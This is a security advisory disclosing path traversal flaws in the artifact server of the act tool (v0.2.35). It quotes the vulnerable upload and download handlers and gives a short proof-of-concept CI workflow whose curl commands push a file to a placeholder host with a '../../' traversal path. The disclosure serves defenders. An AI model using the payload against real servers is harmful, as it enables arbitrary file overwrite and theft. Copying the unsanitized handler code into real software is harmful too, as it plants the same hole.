Coordinated Disclosure Timeline

Summary

The artifact server that stores artifacts from GitHub Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a GitHub Action.

Product

act

Tested Version

v0.2.35

Details

Issue 1: Arbitrary file upload in artifact server (GHSL-2023-004)

The /upload endpoint is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open.

router.PUT("/upload/:runId", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
		itemPath := req.URL.Query().Get("itemPath")
		runID := params.ByName("runId")

		if req.Header.Get("Content-Encoding") == "gzip" {
			itemPath += gzipExtension
		}

		filePath := fmt.Sprintf("%s/%s", runID, itemPath)

Issue 2: Arbitrary file download affecting the artifact server (GHSL-2023-004)

The /artifact endpoint is vulnerable to path traversal as the path variable is user-controlled, and the specified file is ultimately returned by the server.

router.GET("/artifact/*path", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
		path := params.ByName("path")[1:]

		file, err := fsys.Open(path)

Impact

This issue may lead to privilege escalation.

Proof of Concept

name: CI
on: push

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Here are some secrets" > secret.txt
    - run: curl http://<yourIPandPort>/upload/1?itemPath=secret.txt --upload-file secret.txt
    - run: curl http://<yourIPandPort>/upload/1?itemPath=../../secret.txt --upload-file secret.txt

CVE

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-004 in any communication regarding this issue.